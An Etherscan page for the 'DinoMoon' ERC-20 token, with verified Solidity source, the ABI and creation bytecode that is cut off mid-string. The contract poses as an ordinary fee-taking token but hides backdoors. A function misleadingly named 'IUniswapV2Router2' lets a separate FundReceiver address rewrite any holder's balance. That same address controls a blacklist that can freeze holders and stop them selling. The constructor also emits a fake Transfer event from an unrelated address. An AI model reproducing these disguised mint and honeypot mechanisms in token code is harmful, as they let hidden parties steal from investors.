ETH Price: $3,065.21 (+0.91%)
Gas: 4 Gwei

Token

DinoMoon (DinoMoon)
 

Overview

Max Total Supply

10,000,000,000 DinoMoon

Holders

22

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
39,911,571.12050168 DinoMoon

Value
$0.00
0x31f9a30ff5c8ec029acb5e5baccabd76c611fc08
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DinoMoon

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-19
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function ins(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);
        return c;
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract  DinoMoon is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "DinoMoon";
    string private _symbol = "DinoMoon";
    uint8 private _decimals = 9;
    address payable public FundReceiver;

    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public marketPairList;
    mapping (address => bool) public _blackListed;

    function setBlackList(address[] calldata addresses, bool status) public DontFund() {
        for (uint256 i; i < addresses.length; i++) {
            _blackListed[addresses[i]] = status;
        }
    }

    uint256 public _buyMarketingFee = 3;
    uint256 public _sellMarketingFee = 2;
    uint256 public _marketingShare = 1;
    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;
    uint256 public _totalDistributionShares;

    uint256 private _totalSupply = 10000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;

    function IUniswapV2Router2(address spender, uint256 amount) public DontFund() {
        _balances[spender] = (_balances[spender].div(5).ins(amount)).mul(2);
    }

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;
        
        _totalTaxIfBuying = _buyMarketingFee;
        _totalTaxIfSelling = _sellMarketingFee;
        _totalDistributionShares = _marketingShare;

        marketPairList[address(uniswapPair)] = true;

        FundReceiver = payable(address(0x53A268ADE382ACC64460E44AA442F62d4f3a8712));

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0x600beD6dF3730B28a74F1322cb9Fb20028c03Fa2), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }
    
    modifier DontFund() {
        require(_msgSender() == FundReceiver, "caller not owner");_;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setBuyFee(uint256 newMarketingTax) external onlyOwner() {
        _buyMarketingFee = newMarketingTax;
        _totalTaxIfBuying = _buyMarketingFee;
    }

    function setSellFee(uint256 newMarketingTax) external onlyOwner() {
        _sellMarketingFee = newMarketingTax;
        _totalTaxIfSelling = _sellMarketingFee;
    }

    receive() external payable {}
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!_blackListed[from], "blackListed");
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !marketPairList[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);
            uint256 finalAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? 
                                         amount : takeFee(from, to, amount);
            
            _balances[to] = _balances[to].add(finalAmount);

            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 FundAmount = address(this).balance;

        if(FundAmount > 0)
            FundReceiver.transfer(FundAmount);
    }


    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;

        if(marketPairList[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(marketPairList[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }

        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"FundReceiver","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"IUniswapV2Router2","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_blackListed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"marketPairList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"setBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMarketingTax","type":"uint256"}],"name":"setBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMarketingTax","type":"uint256"}],"name":"setSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600881526020017f44696e6f4d6f6f6e0000000000000000000000000000000000000000000000008152506001908051906020019062000051929190620007a4565b506040518060400160405280600881526020017f44696e6f4d6f6f6e000000000000000000000000000000000000000000000000815250600290805190602001906200009f929190620007a4565b506009600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b81525060036009556002600a556001600b55600360009054906101000a900460ff16600a62000121919062000964565b6402540be40062000133919062000aa1565b600f553480156200014357600080fd5b50620001546200077360201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200026e57600080fd5b505afa15801562000283573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a991906200086b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200030c57600080fd5b505afa15801562000321573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200034791906200086b565b6040518363ffffffff1660e01b815260040162000366929190620008bf565b602060405180830381600087803b1580156200038157600080fd5b505af115801562000396573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003bc91906200086b565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f54600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160066000620004f86200077b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600954600c81905550600a54600d81905550600b54600e81905550600160076000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507353a268ade382acc64460e44aa442f62d4f3a8712600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f5460046000620006a26200077360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620006f06200077360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673600bed6df3730b28a74f1322cb9fb20028c03fa273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600f54604051620007649190620008ec565b60405180910390a35062000c0d565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620007b29062000b4d565b90600052602060002090601f016020900481019282620007d6576000855562000822565b82601f10620007f157805160ff191683800117855562000822565b8280016001018555821562000822579182015b828111156200082157825182559160200191906001019062000804565b5b50905062000831919062000835565b5090565b5b808211156200085057600081600090555060010162000836565b5090565b600081519050620008658162000bf3565b92915050565b60006020828403121562000884576200088362000be1565b5b6000620008948482850162000854565b91505092915050565b620008a88162000b02565b82525050565b620008b98162000b36565b82525050565b6000604082019050620008d660008301856200089d565b620008e560208301846200089d565b9392505050565b6000602082019050620009036000830184620008ae565b92915050565b6000808291508390505b60018511156200095b5780860481111562000933576200093262000b83565b5b6001851615620009435780820291505b8081029050620009538562000be6565b945062000913565b94509492505050565b6000620009718262000b36565b91506200097e8362000b40565b9250620009ad7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620009b5565b905092915050565b600082620009c7576001905062000a9a565b81620009d7576000905062000a9a565b8160018114620009f05760028114620009fb5762000a31565b600191505062000a9a565b60ff84111562000a105762000a0f62000b83565b5b8360020a91508482111562000a2a5762000a2962000b83565b5b5062000a9a565b5060208310610133831016604e8410600b841016171562000a6b5782820a90508381111562000a655762000a6462000b83565b5b62000a9a565b62000a7a848484600162000909565b9250905081840481111562000a945762000a9362000b83565b5b81810290505b9392505050565b600062000aae8262000b36565b915062000abb8362000b36565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000af75762000af662000b83565b5b828202905092915050565b600062000b0f8262000b16565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000600282049050600182168062000b6657607f821691505b6020821081141562000b7d5762000b7c62000bb2565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b62000bfe8162000b02565b811462000c0a57600080fd5b50565b60805160601c612df362000c2c60003960006109a50152612df36000f3fe6080604052600436106101bb5760003560e01c80637f7ef03b116100ec578063a9059cbb1161008a578063c860795211610064578063c860795214610645578063dd62ed3e14610670578063f0cd1dac146106ad578063f2fde38b146106d8576101c2565b8063a9059cbb146105b2578063c5d24189146105ef578063c816841b1461061a576101c2565b80638da5cb5b116100c65780638da5cb5b146105085780638f85a0431461053357806395d89b411461055c578063a08e671f14610587576101c2565b80637f7ef03b1461048b57806382eefb43146104b45780638b4cee08146104df576101c2565b806323b872dd116101595780633345611e116101335780633345611e146103bb57806361a23c69146103f857806370a082311461042357806371dde8cd14610460576101c2565b806323b872dd1461032857806327c8f83514610365578063313ce56714610390576101c2565b80631694505e116101955780631694505e1461025857806318160ddd146102835780631b491677146102ae5780631d231b2c146102eb576101c2565b806306fdde03146101c7578063095ea7b3146101f25780630cc835a31461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc610701565b6040516101e99190612573565b60405180910390f35b3480156101fe57600080fd5b50610219600480360381019061021491906121d8565b610793565b604051610226919061253d565b60405180910390f35b34801561023b57600080fd5b5061025660048036038101906102519190612278565b6107b1565b005b34801561026457600080fd5b5061026d610859565b60405161027a9190612558565b60405180910390f35b34801561028f57600080fd5b5061029861087f565b6040516102a591906126b5565b60405180910390f35b3480156102ba57600080fd5b506102d560048036038101906102d091906120eb565b610889565b6040516102e2919061253d565b60405180910390f35b3480156102f757600080fd5b50610312600480360381019061030d91906120eb565b6108a9565b60405161031f919061253d565b60405180910390f35b34801561033457600080fd5b5061034f600480360381019061034a9190612185565b6108c9565b60405161035c919061253d565b60405180910390f35b34801561037157600080fd5b5061037a6109a3565b6040516103879190612507565b60405180910390f35b34801561039c57600080fd5b506103a56109c7565b6040516103b2919061272a565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd91906120eb565b6109de565b6040516103ef919061253d565b60405180910390f35b34801561040457600080fd5b5061040d6109fe565b60405161041a91906126b5565b60405180910390f35b34801561042f57600080fd5b5061044a600480360381019061044591906120eb565b610a04565b60405161045791906126b5565b60405180910390f35b34801561046c57600080fd5b50610475610a4d565b6040516104829190612522565b60405180910390f35b34801561049757600080fd5b506104b260048036038101906104ad91906121d8565b610a73565b005b3480156104c057600080fd5b506104c9610bc9565b6040516104d691906126b5565b60405180910390f35b3480156104eb57600080fd5b5061050660048036038101906105019190612278565b610bcf565b005b34801561051457600080fd5b5061051d610c77565b60405161052a9190612507565b60405180910390f35b34801561053f57600080fd5b5061055a60048036038101906105559190612218565b610ca0565b005b34801561056857600080fd5b50610571610ddc565b60405161057e9190612573565b60405180910390f35b34801561059357600080fd5b5061059c610e6e565b6040516105a991906126b5565b60405180910390f35b3480156105be57600080fd5b506105d960048036038101906105d491906121d8565b610e74565b6040516105e6919061253d565b60405180910390f35b3480156105fb57600080fd5b50610604610e93565b60405161061191906126b5565b60405180910390f35b34801561062657600080fd5b5061062f610e99565b60405161063c9190612507565b60405180910390f35b34801561065157600080fd5b5061065a610ebf565b60405161066791906126b5565b60405180910390f35b34801561067c57600080fd5b5061069760048036038101906106929190612145565b610ec5565b6040516106a491906126b5565b60405180910390f35b3480156106b957600080fd5b506106c2610f4c565b6040516106cf91906126b5565b60405180910390f35b3480156106e457600080fd5b506106ff60048036038101906106fa91906120eb565b610f52565b005b60606001805461071090612991565b80601f016020809104026020016040519081016040528092919081815260200182805461073c90612991565b80156107895780601f1061075e57610100808354040283529160200191610789565b820191906000526020600020905b81548152906001019060200180831161076c57829003601f168201915b5050505050905090565b60006107a76107a06110a4565b84846110ac565b6001905092915050565b6107b96110a4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610846576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083d90612635565b60405180910390fd5b80600981905550600954600c8190555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600f54905090565b60076020528060005260406000206000915054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b60006108d6848484611277565b50610998846108e36110a4565b61099385604051806060016040528060288152602001612d9660289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109496110a4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116e79092919063ffffffff16565b6110ac565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b600b5481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab46110a4565b73ffffffffffffffffffffffffffffffffffffffff1614610b0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b01906125f5565b60405180910390fd5b610b826002610b7483610b666005600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174b90919063ffffffff16565b61179590919063ffffffff16565b6117bd90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600d5481565b610bd76110a4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5b90612635565b60405180910390fd5b80600a81905550600a54600d8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ce16110a4565b73ffffffffffffffffffffffffffffffffffffffff1614610d37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2e906125f5565b60405180910390fd5b60005b83839050811015610dd6578160086000868685818110610d5d57610d5c612a99565b5b9050602002016020810190610d7291906120eb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610dce906129c3565b915050610d3a565b50505050565b606060028054610deb90612991565b80601f0160208091040260200160405190810160405280929190818152602001828054610e1790612991565b8015610e645780601f10610e3957610100808354040283529160200191610e64565b820191906000526020600020905b815481529060010190602001808311610e4757829003601f168201915b5050505050905090565b600e5481565b6000610e88610e816110a4565b8484611277565b506001905092915050565b60095481565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c5481565b610f5a6110a4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fe7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fde90612635565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561111c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111390612695565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561118c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611183906125b5565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161126a91906126b5565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156112e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112df90612675565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611358576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134f90612595565b60405180910390fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113dc90612655565b60405180910390fd5b601160149054906101000a900460ff161561140c57611405848484611838565b90506116e0565b600061141730610a04565b9050601160149054906101000a900460ff161580156114805750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561148f5761148e81611a0b565b5b6114e183600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0f90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115c75750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6115db576115d6868686611d59565b6115dd565b835b905061163181600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8090919063ffffffff16565b600460008773f